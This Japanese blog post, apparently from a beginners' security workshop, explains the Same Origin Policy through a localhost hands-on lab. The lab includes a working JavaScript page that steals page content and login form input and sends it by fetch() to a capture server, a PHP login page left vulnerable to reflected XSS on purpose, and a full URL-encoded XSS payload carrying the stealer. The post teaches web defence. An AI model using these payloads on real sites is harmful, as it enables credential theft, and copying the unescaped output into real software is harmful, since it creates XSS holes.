もしSOPがなかったら
はじめに
本記事は第4回 初心者のためのセキュリティ勉強会での発表と同じ内容になります。
勉強会にて「ハンズオンがやりたい!」という意見があったので,発表中に行ったデモをハンズオン形式で公開することにしました。 興味のある方はトライしてみてください!
SOPとは?
Same Origin Policy (同一オリジンポリシー)の略で,異なるオリジンへのアクセスに制限がかかる,というものです。 Webブラウザに標準搭載されているセキュリティ機構になります。
ここでオリジンは,スキーム・ホスト名・ポート番号の組み合わせを意味します。
このページを例に取ると,
https://kuzushiki.github.io/post/sop/note/
- https: スキーム
- kuzushiki.github.io: ホスト名
となります。 (ポート番号はデフォルトの値なので省略されています)
どんな制限がかかるのか?
アクセスしたページにて以下のコードが実行される場合を考えます。
iframe
タグによるページの埋め込みは可能ですが,埋め込まれたページの要素にアクセスすることができません。
<iframe onload="getTitle(this)" src=[異なるオリジン] >
</iframe>
<script>
function getTitle(elm){
alert(elm.contentWindow.document.title); //SOPにより実行されない
}
</script>
実際にChrome
で試した結果は以下の通りです。
左:通常のブラウザ 右:SOPを無効にしたブラウザ
通常のブラウザではアラートが出ずにエラーが表示されますが, SOPを無効にしたブラウザではアラートが出ていることがわかります。
本題
それでは本題に入っていきます。もしSOPがなかったら 、どのような脅威が発生するのでしょうか? ハンズオンで確認してみましょう!
ハンズオンはこちら
ハンズオン環境について
- app (http://localhost:8001)
通常のサーバ。ログイン機能があり、ログインするとなにかしら大事な情報が得られる、という設定です。
- evil_app (http://localhost:8002)
攻撃者の罠サーバ。app
ユーザのアカウント情報や秘密情報を窃取しcapture
サーバに送信します。
- capture (http://localhost:8003)
攻撃者のサーバからの通信を待ち受けるサーバ。ここにapp
ユーザに関する情報が送られます。
解説
ここからはハンズオンの解説になります。
まずはSOPを有効にしたブラウザでapp
の動作を確認します。
http://localhost:8001
にアクセスすると,ログイン画面が確認できます。
認証情報(ID: hoge
PW: hoge
)を使ってログインしてみます。するとひみつのぺーじ
に遷移し,hoge
さんの秘密を知ることができます。
ログアウト
をクリックするとログアウトします。
それではSOPを無効にしたブラウザで攻撃者のサーバであるevil_app
にアクセスします。
evil_app
のソースは以下の通りです。
<body>
<iframe onload="getContent(this)" src=http://localhost:8001 style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999; background-color:#FFFFFF;">
</iframe>
<script>
/*読み込みが発生したタイミングでコンテンツを窃取*/
function getContent(elm){
let title = elm.contentWindow.document.title;
let body = elm.contentWindow.document.body.innerHTML;
fetch("http://localhost:8003?content=" + encodeURIComponent(title + ":" + body));
/*入力フォームがあったら送信時の入力値を窃取*/
let form = elm.contentWindow.document.forms[0];
if (form != null) {
form.addEventListener("submit", function(){
let inputs = "";
for (let i = 0; i < this.length; i++) {
inputs += this[i].name + ":" + this[i].value + ";";
}
fetch("http://localhost:8003?input=" + encodeURIComponent(inputs));
});
}
}
</script>
</body>
iframe
タグにより異なるオリジンであるapp
を読み込みます。
読み込みが発生したタイミングでtitle
およびbody
タグの内容を取得しcapture
サーバに送信しようとします。
さらにform
タグが見つかった場合,addEventListener
を用いてフォーム送信時の入力値も取得し,同様に送信しようとします。
http://localhost:8002
にアクセスすると,さきほどのログイン画面が表示されると同時にdocker-compose
を実行したコンソールにcapture
のログが表示されます。
?content=
以降の部分をCyberChefなどを用いてURLデコードすると,app
のコンテンツが送信されていることがわかります。
フォームに認証情報を入力してログインしてみましょう。再びcapture
のログが表示されるはずです。
デコードしてみると,認証情報やログイン後ページの秘密情報が得られました。
以上からわかるように,SOPが無効な場合はapp
のユーザにevil_app
のURLを使わせることで,ユーザの機密情報を窃取することができてしまいます。
次に,SOPが有効になっているブラウザでevil_app
にアクセスしてみましょう。
どうやらアクセスしてもcapture
ログが表示されないようです。ブラウザのデベロッパーコンソールを確認してみると,以下のエラーが発生していることがわかります。
Uncaught DOMException: Blocked a frame with origin "http://localhost:8002" from accessing a cross-origin frame.
at getContent (http://localhost:8002/:7:43)
at HTMLIFrameElement.onload (http://localhost:8002/:2:241)
SOPにより異なるオリジンへのアクセスに制限がかり,ユーザの機密情報を手に入れることができなくなります。 通常SOPが無効になることはないため,このような攻撃については考えなくて良いですね!
……本当にそうでしょうか?
app
のログイン画面のソースをよく見てみましょう。何か脆弱性はないでしょうか?
<?php
session_start();
$err = "";
if (isset($_GET['id']) && $_GET['id'] !== "") {
if ($_GET['id'] === "hoge") {
if ($_GET['pw'] === "hoge") {
$_SESSION['id'] = $_GET['id'];
header('Location: /index.php');
exit;
} else {
$err = "パスワードが違います!";
}
} else {
$err = $_GET['id'] . "は無効なIDです!";
}
}
?>
<html>
<head><title>ログイン</title></head>
<body>
<form name="form1" action="login.php" method="GET">
ID: <input type="text" name="id"><br>
PW: <input type="password" name="pw"><br>
<input type="submit" value="送信">
</form>
<p><?= $err ?></p>
</body>
</html>
実はエラーメッセージにクロスサイトスクリプティング(XSS)の脆弱性があります。
hoge
以外のIDを入力すると,$_GET['id'] . "は無効なIDです!"
というエラーメッセージが出力されるのですが,
ユーザの入力値である$_GET['id']
をエスケープせずに出力するため,スクリプトを注入することができます。
試しにIDの部分に<script>alert(1)</script>
を入力してみましょう。
アラートが表示されます。
スクリプトを注入されると何がまずいのでしょうか?
はじめにSOP
は異なるオリジンへのアクセスに制限がかかるものだと説明しました。
app
自体にevil_app
のような悪意のあるスクリプトを注入した場合,同じオリジンからのアクセスになるため,SOPによる制限がかからなくなります。
よってXSSを利用することでSOPが無効の場合と同様の攻撃が可能になります。
また,このページではログイン情報をGET
メソッドで送信しているため,getパラメータを付与したURLにapp
ユーザを誘導することにより,注入したスクリプトをユーザのブラウザで実行させることができます。
以下のURLをapp
のユーザに踏ませましょう。
http://localhost:8001/login.php?id=%3Ciframe+onload%3D%22getContent%28this%29%22+src%3Dhttp%3A%2F%2Flocalhost%3A8001+style%3D%22position%3Afixed%3B+top%3A0%3B+left%3A0%3B+bottom%3A0%3B+right%3A0%3B+width%3A100%25%3B+height%3A100%25%3B+border%3Anone%3B+margin%3A0%3B+padding%3A0%3B+overflow%3Ahidden%3B+z-index%3A999999%3B+background-color%3A%23FFFFFF%3B%22%3E+++++%3C%2Fiframe%3E+++++%3Cscript%3E+++++++++%2F*%E8%AA%AD%E3%81%BF%E8%BE%BC%E3%81%BF%E3%81%8C%E7%99%BA%E7%94%9F%E3%81%97%E3%81%9F%E3%82%BF%E3%82%A4%E3%83%9F%E3%83%B3%E3%82%B0%E3%81%A7%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E3%82%92%E7%AA%83%E5%8F%96*%2F+++++++++function+getContent%28elm%29%7B+++++++++++++let+title+%3D+elm.contentWindow.document.title%3B+++++++++++++let+body+%3D+elm.contentWindow.document.body.innerHTML%3B+++++++++++++fetch%28%22http%3A%2F%2Flocalhost%3A8003%3Fcontent%3D%22+%2B+encodeURIComponent%28title+%2B+%22%3A%22+%2B+body%29%29%3B++++++++++++++%2F*%E5%85%A5%E5%8A%9B%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0%E3%81%8C%E3%81%82%E3%81%A3%E3%81%9F%E3%82%89%E9%80%81%E4%BF%A1%E6%99%82%E3%81%AE%E5%85%A5%E5%8A%9B%E5%80%A4%E3%82%92%E7%AA%83%E5%8F%96*%2F+++++++++++++let+form+%3D+elm.contentWindow.document.forms%5B0%5D%3B+++++++++++++if+%28form+%21%3D+null%29+%7B+++++++++++++++++form.addEventListener%28%22submit%22%2C+function%28%29%7B+++++++++++++++++++++let+inputs+%3D+%22%22%3B+++++++++++++++++++++for+%28let+i+%3D+0%3B+i+%3C+this.length%3B+i%2B%2B%29+%7B+++++++++++++++++++++++++inputs+%2B%3D+this%5Bi%5D.name+%2B+%22%3A%22+%2B+this%5Bi%5D.value+%2B+%22%3B%22%3B+++++++++++++++++++++%7D+++++++++++++++++++++fetch%28%22http%3A%2F%2Flocalhost%3A8003%3Finput%3D%22+%2B+encodeURIComponent%28inputs%29%29%3B+++++++++++++++++%7D%29%3B++++++++++++++++%7D+++++++++%7D+++++%3C%2Fscript%3E&pw=
一見長くて複雑そうに見えますが,以下の手順で簡単に作成できます。
evil_app
のソースの<iframe>
から</script>
までをコピーします。- IDに入力して送信します。
- アドレスバーに表示されるURLをコピーして貼り付けます。
このURLに誘導されたユーザがログインをすると,SOP無効時と同様にユーザの認証情報やログイン後ページの情報が窃取されてしまいます。
以上でハンズオンは終わりです。お疲れさまでした!
まとめ
デフォルトで有効になっている機能でありあまり意識することはないかもしれないですが,ハンズオンを通してSOPが大事な機能であることを確認しました。 クロスサイトスクリプティングの脆弱性が存在した場合,同一オリジンのページに任意のスクリプトを注入することでSOPを回避できるので注意が必要です。